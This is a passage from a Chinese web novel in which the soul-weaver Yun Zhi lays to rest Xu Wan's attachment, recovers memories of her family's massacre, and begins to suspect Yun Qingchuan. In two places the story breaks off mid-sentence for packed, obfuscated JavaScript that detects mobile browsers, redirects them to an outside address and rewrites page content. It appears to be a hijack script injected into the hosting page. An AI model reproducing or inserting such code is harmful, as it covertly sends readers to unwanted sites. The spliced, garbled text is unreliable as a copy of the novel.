见她与阿璧踏夜前来,虽然奇怪,但也并不敢多问什么,恭敬地为她打开了门锁。 云织进了门,直奔许菀的卧房而去。 既是藏重要的东西,藏在旁处怕是也放心不下,自然还是在她的房间里。 许菀的卧房虽小却精致,妆奁妆镜,床帘上坠着的流苏装饰,无不体现出闺中少女的情思。 云织与阿璧细细地检查,便连榻底都没有放过。 终于,在云织一寸一寸查看许菀惯用的妆凳的时候,指尖触及到底部一块活动的木板。 找到了! 云织微微用力,将那木板缓缓挪开,一口巴掌大小的洞便出现在眼前。 还不待云织有所动作,一缕浅碧色的碎魂缓缓自洞口升起,在半空中缓缓飘荡。 “许菀,终于找到你了。”云织看着那缕碎魂,轻轻舒了口气。 “找到了?”阿璧看不到许菀碎魂,但听云织说找到了,立刻凑了过来。 “真的找到了!织织,还是你厉害!” “这位许四小姐还真是会藏,竟藏在这里,这下碎魂已齐,可以为她织魂了!” 在云织拔簪收魂的间隙,阿璧已经动手将洞中的东西取了出来。 “织织,这还有些信。” 将最上面的一封展开,一行娟秀的小字便瞬间映入眼帘。 红豆熬成相思骨,方知情字是虚妄。 “织织,这信,是许四小姐写的吧,”阿璧看着那行字叹了口气,“这位许四小姐,真是被沈慕白伤透了心呢。” 云织看着手中的那叠信,没有作声。 既然许菀以为沈慕白真的负了她,郁郁心死,又怎么会执念于嫁衣绣球? 这位许四小姐,心思怕是并不像她们所想的那样简单。 便是再不简单,等看过了这些被许菀精心隐藏的秘密,应该,也能解开了。 云织默默抚了抚掌心的金线。 终于,要结束了。 她也终于可以再记起一些过去,再探得一些云家灭门的线索。 念及至此,云织不由得便想到上次为杜芸笙织魂后,在幻境中看到听到的一幕幕。 脑中不自觉便浮现出谢凛淡漠的眉眼,和他今日挡在她身前挺阔的背影。 第一次,云织心里隐隐浮起一丝说不清的情绪。 谢凛,那崖上的人影,最好不要是你。 8. 了却执念 次日清晨,栖竹苑。 “秋竹,脚步轻些,不要扰了小姐休息。” 秋兰秋竹端着水盆等器具走近,秋兰先是仔细听了听,见屋内没动静,脚步不由得又放轻了一些。 “昨日小姐睡得晚,今日怕是要晚起些,你去告诉厨房,把早饭温着,等小姐醒了我再去取。” “欸!”秋竹轻轻应了一声,轻手轻脚地转身去了。 秋兰也将手中的东西放下,安安静静地站在门口守着。 虽然才跟了云织没两天,但秋兰已经从心里将云织当成了自己的主子。 小姐虽然平日里不爱笑,但人很好,对她和秋竹也很和善。 做下人的,既然遇到了好主子,就该本本分分,勤勤恳恳。 至于阿璧姑娘…… 虽然阿璧姑娘总是说她也是小姐的婢女,但她们看的出来,小姐从没有把阿璧姑娘当做是下人看待。 小姐待阿璧姑娘,比府上的几个小姐相互之间还要亲近。 “阿璧姑娘真是好福气呢!”秋兰想着,心里便羡慕起来,不由得小声自言自语。 却不想她话音还没落,门竟然吱呀一声打开了。 阿璧顶着惺忪的睡眼,自门内探出头来,“小秋兰,你刚刚在说我什么?” “啊!阿璧姑娘,你……你醒了!”秋兰被阿璧吓了一跳,随即忙捂住嘴巴,“小姐她……” “织织也醒了,”阿璧走出门来,伸手环住了秋兰的肩膀,“说说,为什么说我好福气?” “我,我是说,小姐待姑娘真好……”秋兰脸羞得通红,结结巴巴地道。 “那倒是,我们织织待我是最好了!” 阿璧得意地挑了挑眉,“小秋兰,有眼光!” “我,我去取早饭!”秋兰红着脸,转身就要跑。 “等一下。” 秋兰闻言立马站住转身。 “饭等会再吃,”云织一身缃色衣裙,极其素淡,却难掩雅致,“秋兰,你去传话给许老太太,就说,今日酉时三刻,困境可解,让她准时到兰蕙苑去。” 云织顿了顿,又道,“带着柳姨娘。” 秋兰看着云织面色有些憔悴,眼中有着血丝,想要先取早饭来,让她吃了再说,但看着云织的表情,又不敢言语,便应了一声赶快去了。 “许衡奕那边交给我,”阿璧伸了个懒腰,揉了揉同样泛着血丝的眼,“保证让那姓谢的准时把沈慕白给送过来!” “嗯。”云织应了一声,看着阿璧的身影潇洒地消失在院外。 她和阿璧,昨晚只睡了三个时辰。 一是为了看许菀留下的那些信。 二是,看完了那些信后,心绪难平,便睡不着了。 云织垂眸,摩挲着快延至手腕的金线。 许菀,别急。 今日,我便为你了了执念。 你想说的话,想见的人,都能如愿。 … 当日,许府热闹的像是开了锅。 先是许老夫人似乎心绪激动,一时头疼不已,赶忙请了府医过去; 然后是芙蓉苑的柳姨娘晕倒了,下人也慌慌张张地来请府医; 再然后是梧桐阁的大公子急着出门,竟然和送早饭的下人撞到了一起,撒了一身的汤汤水水,很是狼狈。 云织一整天都待在院中,并不知道今日的许府多么热闹。 傍晚,她闲着无事便独自出了门,沿着小路慢慢走。 离日落还有些时间,云织走得漫无目的。 看着园中的绚丽颜色,一片蓬勃,渐渐地,心中却漫起一层忧伤。 她曾经也有家的,在凤梧山。 听人说,那里是一片世外桃源,青山绿水,景色绝美。 父亲云羿,天资卓绝,十八年前出任云氏一族家主,是当今最优秀的玄师,一手占星术出神入化,便连皇家都曾多次请父亲占星卜问。 母亲月素衣,容貌倾城,医术卓绝,在凤梧山上种了许多奇珍异草,制成的药千金难求。 父亲性子淡泊,所以带着云氏族人在凤梧山避世,只每年接纳各世家子弟前来修习。 可如今…… 凤梧山已是人去山空,而她,再也没有家了。 云织仰起头,闭了闭眼。 凤梧山的夕阳,曾经定也这般温暖,照在父亲母亲,和云氏族人的身上。 “父亲,母亲,我来天启城了。”云织仍闭着眼,轻声道。 “女儿如今会为死者织魂,是不是很厉害?” “我已经找到谢凛了,但,我觉得,他不是害了你们人。” “父亲,母亲,你们……死前,可痛?可有执念?” 云织喃喃着,水汽自闭着的眼角滑落,“为什么,女儿从没有梦到过你们……” “没有梦到也好,女儿愿父亲母亲,愿云氏族人,魂魄完整,已入轮回。” “等女儿查到了害你们的凶手,应该……就可以与你们团聚了。” 此时,许衡奕与谢凛正向着兰惠苑而来,身后跟着的沈青押着沈慕白。 “既然衙门事多,让沈青将人带来就是了,何必非要自己跑一趟?”许衡奕说着,侧头扫了谢凛一眼。 “人是京畿卫抓的,自然要保证安全。”谢凛眉目不动,言简意赅。 “保证安全?”许衡奕像是听到了什么笑话,忍不住睁大了眼看着谢凛,“沈青是什么身手?还用得着你保证安全?” “再说了,我许府是什么龙潭虎穴吗?我看你就是……” 许衡奕正说着,身旁的谢凛却突然伸手将他拦住。 “你干什……” 许衡奕眉一皱正要开口,视线一扫,却远远看到前方的云织,后半句话便不由得咽了回去。 云织一身缃色衣裙,站在一棵木槿树下,微微仰着头。 夕阳将落,余晖洒在云织身上,将她镀上了一层金色。 因离得远,看不见脸上的表情,但却能感觉到,她的周身弥漫着一股浓烈的悲伤。 “云织这是,怎么了?”许衡奕皱着眉头,远远看着云织一动不动的模样,“怎么感觉,她不太开心呢。” 谢凛没有应声,眸光注视着树下那道纤细身影,身侧握剑的手不由得紧了紧。 几人一时沉默。 半晌之后,远处的云织才转过身,向着兰惠苑的方向慢步而去。 待云织的身影已瞧不见了,四人才又继续前行。 待一行到了兰惠苑院门口,暮色已至。 许衡奕将手一横,拦在了谢凛身前。 “接下来要说的,是我四妹妹的私事,你和沈青不方便进去。”许衡奕道。 见谢凛微微皱眉,许衡奕忙接着开口,“你放心,我用项上人头保证,沈慕白绝对安全!” 一路无话的沈慕白听到许衡奕此言,不由得缩了缩肩膀。 “这样,你和沈青就在这里等着,等事情一了,我立马将这人带出来还你,怎么样?” 见谢凛垂眸不再说话,许衡奕忙一把扯过沈慕白,“谢了,兄弟!” 人刚进院内,两扇门扇便咣当一声关上。 待许衡奕带着沈慕白走进院子,便发现院内已点了灯,且聚了许多人。 许老太太坐在一张太师椅上,身旁站着柳姨娘。 老太太的对面,则是云织与阿璧。 众人面前摆了一张木桌,桌上一碟瓜果,一个香炉,香炉中插了三支香。 “祖母。”许衡奕上前恭敬行了个礼,然后才转向云织。 “云织,我把人带来了。” 云织点了点头,看着许老太太在看到沈慕白的时候,瞬间惨白了脸色。 “人齐了。”云织淡淡开口。 院中的五人正心思各异,听云织开口,目光瞬间都聚在了她身上。 云织目光转向许衡奕,后者见她看过来,忙道:“放心,这里绝对安全,便连只蚊虫都别想飞进来!” 云织点了点头,目光转回。 “今日为何将大家聚在这里,想必各位都猜到了。” “是为了,许菀。” 话音一落,院中的众人均是忍不住后脊一凉。 许老太太与沈慕白甚至身子微微抖了抖。 “许菀于半月前寻了短见,但因死前执念过深,无法进入轮回。” “今日叫大家来,就是为她了却执念。” 云织顿了顿,并未理会众人或是惊骇或是伤心欲绝的神色,继续淡淡道,“如今我已经查清了她的执念,今晚,就替她说上一说。” 云织转向许老太太,目光灼然,“许菀最后收到的那封断情信,是你逼着沈慕白写下的,可对?” 许老太太蓦地抬手揪住心口,半晌后才嘴唇颤抖着应道,“……是,我,我是为了她好……” 没什么好隐瞒的了。 自沈慕白出现在这里的那一刻起,她便知道,云织定是什么都知道了。 云织没有理会许老太太,而是抬眸看向了其身后的柳姨娘,“许菀死前,你曾偷偷来看过她,对她说,让她忘了沈慕白,老夫人已经在相看了,定会给她找户好人家,可对?” 柳姨娘正是许菀的生母,此刻紧紧攥着手里的帕子捂住嘴,满面都是泪水。 她哽咽着说不出话,只能泪水涟涟地点了点头。 云织看着柳姨娘,目光柔软了几分,而后转向沈慕白。 沈慕白见云织望过来,忍不住打了一个寒噤。 “许菀被禁足前,你与她私下通信时,常常抱怨不得志,一身才华无处施展,许菀曾多次劝你沉下心,竭尽全力备考,可对?” “……是。”沈慕白不敢看向云织,只低低应了一声。 云织不再看向众人,而是转向那张木桌。 “在没有找齐许菀的碎魂前,我以为,她的执念很清晰,是对沈慕白的恨,恨你狠心辜负,恨你不能兑现诺言,她无法身穿嫁衣,风风光光地嫁给你。” “或者,还有对许老夫人的恨,恨你将她禁足,棒打鸳鸯,断了她所有期待。” “后来,我发现我错了。” 众人闻言均忍不住看向云织,包括许衡奕在内,都是一脸的困惑。 错了? 为何错了? 许菀的执念,不就该是如此吗? “我错在,太看轻了许菀。”云织道,“我以为,她一个闺阁女子,眼界便只有那么宽,能想到的,就该只有花前月下、两情相悦。” 云织转过身,逐一看过院中的众人。 除了阿璧,其他人脸上深以为然的神色清晰可见。 他们也看轻了你啊,许菀。 云织在心中道。 不再多言,云织抬眸看了一眼天上的月色。 残月弯弯。 她抬手,自发间拔下了那把玉簪。 月色寒凉,云织持簪站在那里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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空中的虚影呜咽着,对着云织点了点头。 “执念既然已了,今日,我便为你织魂。”云织看着许菀的虚影,目光柔软,手中的玉簪蹁跹而动。 不过瞬间,云织便停止了手中的动作。 玉簪停下,面前少女的身影终于清晰。 许菀的魂魄身着粉衫,面目温婉,嘴角噙着一丝柔柔的笑意。 “许菀,我知道,你想要她们听到,自此后各得心安。所以,我今日便把他们都带来见你了。”云织轻轻地道。 “你要说什么,便说吧,他们听得到。” 许菀的魂魄感激地对着云织点了点头,而后转向地上瘫倒的沈慕白,又转向一旁的许老太太、许衡奕和柳姨娘。 “祖母,姨娘,您们最想看到的,便是菀儿可以穿上嫁衣,手捧红绸绣球,嫁做人妇的模样,菀儿……不孝,此生没办法真的让你们看到这一幕了,所以……菀儿在梦里穿上给你们看了,好看吗?” 许菀的声音在众人耳边轻轻响起。 “祖母,姨娘,兄长,对不起,菀儿让你们失望了……” “不——” “菀儿啊——” 痛到极致,许老太太与柳姨娘再也忍不住,颤抖着发出呜咽的哭喊。 许衡奕扶着许老太太,双目通红,喉头滚动着,却发不出声音。 “慕白,我心中有你,但,现在这样的你,我不喜欢了……”许菀的声音又轻轻响起。 “忘了我吧……” 沈慕白浑身一震,猛地抬起头,看向面前空荡荡的夜色。 他张了张嘴,想喊她的名字,却什么也喊不出来,只自喉间挤出一声呜咽。 云织面对着面前的许菀,眸中一片柔软。 “你将清白之身给了他,对吗?”云织用只有两人能听到的声音,轻声道。 “所以在彻底明白他非可托付之人后,才失去了所有的希望,走上了绝路,对吗?” 即便许菀碎魂已齐,但云织并未在其碎魂残存的记忆碎片中察觉什么。 许菀偷偷藏起来的信里,也都是疏解情绪的语句,对此一句也未提及。 但云织却在她碎魂的郁郁情绪里,在她笔下字里行间的心灰意冷里,读懂了。 许菀的魂魄闻言猛地一抖,一对杏眸直直看向云织,眸色闪动间,便溢满了雾气般的泪水。 她看着云织,却狠狠咬着唇,再不肯出声。 云织心中微微叹息,而后抬手点上她的眉心。“去吧!” 许菀的魂魄逐渐消散,终于消失在夜色里。 “菀儿——” “我的菀儿啊——” 耳边传来撕心裂肺的哭喊,云织却仿佛听不到,眼前都是方才许菀最后那破碎的、满是哀伤的眼神。 真是个傻子。 他哪里值得啊。 怔怔间,云织突然感觉右手一阵灼痛。 她抬起手,便见掌心那浅浅的金线正以肉眼可见的速度蔓过手腕。 云织只觉得眼前发黑,浑身脱力,几乎撑不住身体。 “怎么样?”身旁的阿璧早有准备,伸手稳稳托住了她。 云织没再看院中还各自沉浸在悲伤中的人一眼,轻声道:“走吧。” 她半边身子都靠在阿璧身上,缓步来到院门前。 阿璧伸手推开了门,便见一身玄衣的谢凛正立在门前。 四目相对间,云织的呼吸停了一瞬。 9. 同心符现 淡淡月色下,谢凛静静立着,夜风微拂起其玄衣衣摆。 他手中握着的剑柄上,那串鲜红的剑穗正随风微荡。 云织看不清他面上的表情,却能清晰地感知到那对眸子幽如深涧,正直直望着她。 而阿璧看着谢凛与他身后的沈青,瞬间便明白了为何方才许衡奕说,这里连只蚊虫都飞不进来。 云织强撑着精神,将视线从剑穗上移开,“谢大人。” 打过招呼后,便不动声色扶着阿璧的手臂,抬脚欲走。 “云织小姐,不舒服?”谢凛的目光在云织一片惨白的面上逡巡。 “关谢大人什么事!”阿璧挑了挑眉,面色不善。 云织轻轻捏了捏阿璧的手,阿璧皱着眉头,不再说话。 “没有,只是有点累。”话音一落,云织不想再多说,“谢大人,告辞。” 与前几次织魂相比,这次显然更耗费心神,她的力气似乎在那瞬间便被抽干了。 云织感觉得到,她就快撑不住了。 谢凛闻言却没有动,就那样站在门前,眸光沉静,似乎要将她看穿。 “姓谢的,让开!”阿璧感觉到云织靠着她的身子似乎越来越沉,眉目瞬间便冷下去。 “否则,别怪我不客气!” 云织被阿璧搀着,恍惚中听到阿璧的怒斥,想再捏一捏她的手,却发现已使不上力气。 她拼命想要睁开眼,维持一丝神智,却无济于事。 只挣扎了一瞬,便彻底被黑暗吞噬。 “织织!” 阿璧原本撤了半步,想要用肩膀撞开谢凛,蓦然感觉到云织的身子一沉。 惊慌间忙撤手去扶,可刚要动作,便觉得手上一轻。 再抬眼,云织已经被谢凛打横抱在了怀里。 “你干什么!” 阿璧眸光一闪,刚要上前,忽地似有阵风拂过,眼前便多了一个人。 沈青立在谢凛面前,正面无表情地盯住她。 虽然他没什么动作,但阿璧却本能地感受到两个字:危险。 “云织要紧!” 阿璧咬着牙,握紧拳头就要动手,却听到谢凛冷冷地道。 他一向冷硬如山石的眸子里,此刻满是明明白白的担忧,“带路!” 阿璧顿住。 不过一瞬之后,便扭头向着栖竹苑的方向狂奔。 算了,织织要紧! 本姑娘今日不跟你一般见识! 三人身手均是不错,几个飞掠间,人便已去了丈远。 “秋兰,备水!准备织织的寝衣!”才一奔入栖竹苑,阿璧便大声喊道。 话音还未落,人已经来到了门前。 秋兰听到阿璧的喊声,急忙跑出来,几乎迎面与阿璧撞上。 “小姐!这是……这是怎么了!”秋兰一抬头,见一个男子抱着云织跟在身后,瞬间被吓了一跳。 “快去准备!” 阿璧顾不上解释,引着谢凛来到里屋,“放这里!” 秋兰被吓得面色发白,再不敢多问,忙转身跑了出去。 谢凛大步来到榻前,又看了怀中的人一眼,这才俯身将人轻轻放下。 云织眉头皱着,眼睫轻颤,雪一样白的面上满是汗水。 阿璧急着去拿帕子,却没注意到,榻前弯着身子的谢凛,突然皱着眉头,轻轻捉起云织的右手。 雪白的掌心中,有一条浅淡的金线,自中指指尖一路蔓延至纤细的手腕。 而腕间的那部分,似乎是刚刚自血肉中长出一般,颜色刺眼,其下的肌肤还发着红。 谢凛的眸色暗了暗,指尖忍不住轻轻抚过那条金线,逐渐下滑。 待滑到掌心,谢凛便觉得掌心蓦然一热。 他摊开手,见到掌心一块微红。 而他的手旁,在云织的掌心处,也正有一块浅淡的红色逐渐显现。 与他掌心红痕的形状,一模一样。 … “昭昭,快逃!” “昭昭,别怕,有娘在!” 幻境中,云织听到耳边熟悉的声音,便是心头一热。 娘。 是娘。 她试着睁开眼,想要打破眼前的黑暗,不想此次竟轻易便睁开了。 眼前依然是大雨滂沱。 她像是飘在空中,看着大雨中,另一个她一身白衣躺在地上,正被人紧紧抱在怀里。 抱着她的是一个绝美的女子,精致潋滟的五官,即便在大雨中形容狼狈,却仍是明艳动人。 这是第一次,她终于看清了娘的脸。 “娘……”云织心头狠狠发疼,想要张嘴,却发不出一点声音。 月素衣张口吐出一口血沫,却顾不得去擦,而是伸手自发间拔下一根玉簪,指尖颤抖着插入云织发间,又轻轻点上云昭月的眉心。 “昭昭,醒醒,看看娘……” “难道,本命蛊……失败了吗……” “不……不可能的……”月素衣喃喃着,明艳的五官逐渐有血涌出来。 云织的心脏像是被人狠狠攥住,痛得无法呼吸。 她牢牢盯住月素衣,想挣扎呼喊,想要凑近,可却动弹不得。 “不会的,江浸月……一定还活着,”月素衣面色惨白,开始微微摇晃着,撑不住身形,“只要……她活着,昭昭就不会有事……” “夫人!夫人,您怎么样?小姐怎么样?” 云织循声看过去,便见到一个黑衣持剑的少女,正扶住月素衣,满脸焦急地看向地上的云昭月。 少女的眉眼与阿璧有些相似,但却又透着陌生。 “浸月……”月素衣定定看着少女,竟展颜笑了,笑容犹如万千花开。 “太好了……你没事,昭昭……就没事……” “夫人,我带您和小姐走!”被唤作浸月的少女急声道。 “我……走不了了,”月素衣又轻咳一声,五官涌出的血愈加汹涌,“浸月,我……对不起你……” “你答应我……一定保护好昭昭,我要去陪羿哥了……” 话音一落,月素衣眸子里的光瞬间暗淡了下去,人已再无声息。 “夫人!”黑衣少女大喊了一声,泪滚滚而下。 云织自空中看着这一幕,心痛得像是正被人刀刀凌迟。 “夫人,你放心,就算是拼了我的性命,我也会护好小姐!”黑衣少女抹了把眼泪,咬着牙,将地上的云昭月背在了背上。 转身欲走间,无数黑衣人却摸了过来,向着大雨中的两人迅速靠近。 云织看着江浸月。 看着她满眼的决绝,最终奔向崖边,带着背上的云昭月纵身一跃。 两人迅速坠下去的瞬间,江浸月背上的她乱发被风吹起,发间的玉簪翎羽颤动,泛着温润的柔光。 云织终于看到了云昭月的脸。 一张与她现在全然不同的脸。 瞬间一股吸力自身后涌来,云织来不及反应,便被那吸力扯入了一片黑暗。 “不!” 云织挣扎着睁开眼。 她依然飘在空中,而眼前是一间陌生的房间。 房间里的软榻上,月素衣与云昭月相对而坐,低着头,正说着什么。 果然,是另一个幻境。 “昭昭,娘偷偷教你,你可不要告诉你爹哦!” 云织自空中俯瞰,看着月素衣眉眼含笑,看着云昭月乖巧点头。 看着母女二人头对着头嬉笑的模样,她心口深处一阵阵地刺痛。 房间里的云昭月抬起头,依然是崖边看到的那张少女的脸。 “娘,这同心符,真的有效吗?”云织听见云昭月道。 “当然了,娘的符术可是天下无双,”月素衣温柔道,“只要两人彼此真心相许,这同心符画上后,便会灵验。” “怎么灵验法?”云昭月托着腮,追问道。 “若画成了,两人彼此接近之时,或是有一方遇险,两人的同心符便会变红,发烫。”月素衣解释道。 “是不是很厉害?” “果然很厉害!”云昭月眼睛发亮,笑得眉眼弯弯,“我要给凛哥哥画一个!” 月素衣莞尔一笑。 “我们昭昭长大了呢!” 云昭月面上染上红晕,娇嗔道:“娘,你笑话我!” “娘没有笑话你,”月素衣笑颜如花,“我们昭昭只管幸福顺遂,喜欢什么,就去做。喜欢谁,就去追求。娘支持你。” 月素衣眉眼一挑,“悄悄告诉昭昭,当年你爹,也是娘主动追求的呢!” 房间里,母女二人笑作一团。 “夫人,小姐,云公子来了。”就在母女二人说话间,一个黑衣女子走了进来道。 来的正是幻境里背着她跳崖的人,江浸月。 “清川哥哥来了?快请他进来!” 云昭月闻言眼睛一亮,“我先前说要送他的生辰礼物,这才终于做好,刚好送给他!” 云织见云昭月高兴地跑过去,在妆台的匣子里取了什么出来。 “娘,这剑穗好看吗?我织了好久呢!” 云织看着云昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481467|201766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月手中艳红色的剑穗,脑中轰然炸响。 那剑穗织得歪歪扭扭,穗首嵌了一颗碧色的珠子。 “云伯父近来总是和父亲争吵,害得清川哥哥都来的少了,”云昭月嘟着嘴,抚弄着手里的剑穗,“清川哥哥看到这个礼物,应该会高兴吧!” 说话间,江浸月已经引着一个男子走了进来。 “云叔母。”来人一身青衣,先对着月素衣恭敬地行礼,然后才转向云昭月,笑容温和,“昭昭。” 那是一张极好看的脸。 眉眼俊美,清雅温润,眸子里噙着淡淡宠溺的笑意。 在看清那男子的脸的瞬间,云织感觉身体瞬间被一股巨力拉扯着,迅速向后退去。 眼前的光景如流水般倏然后退。 “清川哥哥!”恍惚间,云织遥遥听到云昭月带着笑意的声音。 而那道逐渐拉远的青色身影,与她曾在幻境中看到立在崖上的人影,逐渐重叠。 黑暗再次将她吞没。 … 云织猛地睁开眼。 入目是熟悉的帐顶,半晌之后她才恍然明白,这里是栖竹苑。 “织织,你醒了?”才刚听到声音,阿璧的一张俏脸已经伸到云织眼前,“怎么样?还难受吗?” 见云织微微摇了摇头,阿璧才脊背一弯,人像是瞬间垮了下去。 “你吓死我了!你知不知道,你睡了两日了!” 两日? 云织茫然地看着阿璧,这才发现她眼里布满了血丝,眼底更是泛着乌青。 “阿璧,对不起,让你担心了。”云织心尖泛着暖,语气里都是心疼。 这丫头,一定是寸步不离地守了她两日。 “醒了就好,”阿璧皱着眉头,却避开了她的目光,面上没有一丝笑意,“饿了吧?秋兰煮了红枣莲子粥,一直煨着,我去叫她端来。” 阿璧说完便起身,却又不放心似的地转头叮嘱,脸色冷沉,“你不要乱动。” 见云织点了点头,这才起身出了门。 云织觉得阿璧似乎怪怪的,但头还是有些昏沉,便没有多想,抬起手想要按一按眉心。 手才刚刚抬起,便顿住。 云织看着手腕上缠着的白色棉纱,恍然想起为许菀织魂后,那条瞬间蔓过手腕的金线。 相比于前四次织魂,这次金线延的更长,也更痛。 所以……阿璧发现了?所以方才的反应才那么别扭。 云织的指尖不由得紧了紧,而后又松开。 也好,她早晚要知道的。 从第一次织魂到现在,不过一个半月,金线已从指尖蔓过手腕。 照这个速度,若是她继续为人织魂,怕是用不到半年,便会延至心口。 到那时……会发生什么,她也不确定。 若真到了那一天,只愿她已经为父亲母亲,为云家的四十几条人命报了仇,也算了无遗憾。 只是对阿璧,太残忍了些。 云织蓦然想起在幻境中看到的,眸色便是一凝。 虽然要付出代价,但能记起过去,找到云家被灭门的线索,足够了。 她是云昭月,没有错。 但是不知为何,现在的她,与云家灭门前的她,长相全然不同。 而阿璧的模样,也变了。 不,不是阿璧,应该叫——江浸月。那才是阿璧原本的名字。 云织不由得想起在幻境中,月素衣教她画同心符的一幕。 她抬手拔下发间的簪子,握在掌心。 这簪子,是母亲最后留给她的。 母亲是最好的符师,或许她与阿璧容貌变化,包括失去了记忆,都与母亲有关。 母亲当时还提到,本命蛊。 虽然不知道那是什么,但云织直觉,她能从那一夜幸存,和醒来后莫名有了的织魂之力,便是因为母亲说的本命蛊。 还有,母亲看到阿璧的时候曾说,阿璧没事,她就没事,还说对不起阿璧,这又是为何? 想着幻境中容貌绝美又温柔浅笑的母亲,云织握簪的手不由得攥紧。 “母亲,我终于知道您的模样了……”云织喃喃道。 “您不仅擅行医制药、懂符术,竟还懂蛊术,您到底是何人?” 半晌之后,云织才压下眼中的泪意。 “云清川。”她轻声念出这个名字。 抬眼时,眸色已如寒霜。 云家,云清川。 那日站在悬崖上,带着她送的剑穗的青色身影。 果然,真的不是谢凛。 10. 失而复得 云织被允许出门,已是三日之后。 这两日间,阿璧拒了所有的探视,不管是许老太太、柳姨娘还是许衡奕,阿璧只有两个字:“不见。” 云织被拘在屋内,多食少动,补品补药一溜水地灌下去,吃得她直皱眉头。 但她却一句反驳也不敢。 只要阿璧端着碗、持着调羹递到嘴边,云织便立刻乖乖张口。 她醒来后,阿璧因为她隐瞒了金线的事,生了好大的气。 要不是云织故意示弱,说手臂痛,惹得阿璧着急起来,阿璧怕是还不会理她。 云织还记得,那日阿璧站在她榻前,眼中含着泪,带着痛,看着她的模样。 那是阿璧第一次对她发脾气。 “云织,你告诉我,那金线一路生长下去,你会怎样?”阿璧第一次连名带姓地叫她,声音颤抖着,一字一句。 云织不知道要怎么回答,便只能沉默。 “你每次织魂后身子虚弱,也是因为这金线,对不对?” “我若是没有发现,你准备瞒我到什么时候?” “你是准备一直不说,等到哪日……你死了,留我一个人在这世上,为你……收尸吗?” 云织心里像被人狠狠捅出一个窟窿,忍不住便上前抱住她。 素来潇洒坚强、从没有流过眼泪的阿璧,靠着她的肩膀,泪如雨下。 她知道,阿璧心疼她。 这世上,她只有阿璧一个亲人了,同样的,阿璧也只有她。 如今知道了也好,她便再也不用因瞒着阿璧而日日愧疚了。 这日,阿璧让人将太师椅搬到了院子里,而云织则窝在椅子上,晒着太阳。 “好阿璧,我已经好了。” 云织微仰着头,一对眸子里满是温软无辜,“真的全好了,不用每天呆在屋子里了。” 阿璧看了云织一眼,抱起了手臂,“不行。” “可是……呆久了,有点闷。”云织眨了眨眼,声音更软了。 阿璧不说话,皱着眉看着她。 半晌之后,终于叹了口气。 一向冷冷清清的人,若是服起软、撒起娇来,还真让人毫无办法。 “日后织魂,我说不接,便不接。” “好。”云织没有丝毫犹豫。 “以后任何事情,不许瞒着我。” “好。” 阿璧看着云织,忍不住还是瞪了一眼,“以后不许再犯!我是江浸月也好,阿璧也罢,我们都是这世上彼此最亲近的人,你竟一直瞒着我,想想就气我脾气实在太好,这么轻易便原谅了你!” “若不是那姓谢的眼神好,发现了你手臂上的金线,我怕是现在都还被你蒙在鼓里!” “虽说现在不知道那金线有什么作用,但总归是会让你虚弱脱力,可见定不是什么好东西!” 云织面上软软的笑意淡去。 是……他发现的? 这几日因为阿璧生气,对于那日她晕倒后发生的事,云织一直没有问。 “哦,我忘了,你还不知道。”阿璧看着云织的表情,挑了挑眉。 “那日你晕倒,我都还没来得及反应,那姓谢的立刻就把你抱起来了,担心的跟什么似的。” “说起来,那还是我第一次看到那张冰块似的脸上有表情。” 云织的呼吸瞬间便乱了。 “不过,既然如今你和我的样貌都变了,倒也难怪姓谢的认不出你。”阿璧想到云织跟她说的,这次在幻境中看到的回忆,眼底带了一丝促狭,“这么说来,他倒也算不上是负心人。” “你说,他这样紧张你,该不会是他的同心符也有反应,所以认出你了吧?” 云织的心不受控制地蓦然一跳,而后垂下眸子,攥紧了手心。 “他这几日,有来过吗?”云织沉默了一瞬,还是开口问道。 “没有,但是许衡奕带了一瓶药来给你,据说是上好的伤药,千金难求,”阿璧用眼神示意云织的手腕,“说是姓谢的送来的。喏,已经用上了。” 云织垂眸,目光落在腕间的棉纱上,久久未动。 “许衡奕昨日来,还说知道你口中的云清川,”阿璧没有注意到云织的面色,继续道,“等你好了,他再来说给你听。” “嗯。”云织抬头,竭力压下心头的异样,“阿璧,你去通传一声,我今日想见许衡奕。” 他没来过,是好的。 无论是他的同心符失了效果、并没有反应,还是他其实意识到了,但故意装作认不出、以跟她保持距离,都很好。 金线已过手腕,她没有多少时间了,但却还有很多疑惑要解,很多事要做。 本命蛊是什么, 她和阿璧为何样貌大变, 娘有什么秘密,为何对阿璧感到愧疚, 云家的灭门之仇,仇人究竟是谁。 如今她活着的唯一目的,只有找出仇人,复仇,没有其他。 不该有其他。 “好,”阿璧点了点头,人便转身向外走,“正好,我顺路去趟兰蕙苑,将许四小姐写的那些信烧给她。” 阿璧想到云织说的许菀自尽的真正原因,不由得叹了口气,“真是个善良的姑娘,就是太傻。” “既然那些心思,她至死都不想人知道,那便一起都带走吧!” … 当夜。 过了亥时,许府已经灭了灯,整个府邸都笼罩在浓重的夜色中。 栖竹苑旁,许府围墙边外的一棵粗壮老树上,两道黑色的人影正静静立着。 沈青站在后侧,目光不由得扫过前面的谢凛。 主子已经连着来了五日了。 自那日将那位昏过去的云织小姐送回栖竹苑后,每晚夜深人静,主子便来到这棵树上,远远看着栖竹苑的方向。 什么也不做,就是一动不动看着,可以站上一个时辰。 沈青了解自家主子的为人,主子站在这,不是为了偷看。 倒像是……为了心安。 沈青心里是困惑的,但同时又忍不住高兴。 困惑的,是不知道主子为什么突然对这位云织小姐如此在意。 在这之前,除了云昭月小姐,他没见主子正眼看过哪家姑娘。 而高兴的,也是主子终于开始正眼看别的姑娘了。 这两月以来,主子把自己活成了一块孤石,冷,硬,且无心。 可如今,却像是活了过来,开始有了生气。 即便不是云昭月小姐,若是这位云织小姐可以让主子活过来,也是好的。 最好主子能早定正缘、尽快娶妻,省得那位难缠的长平公主不死心,总是觊觎主子…… 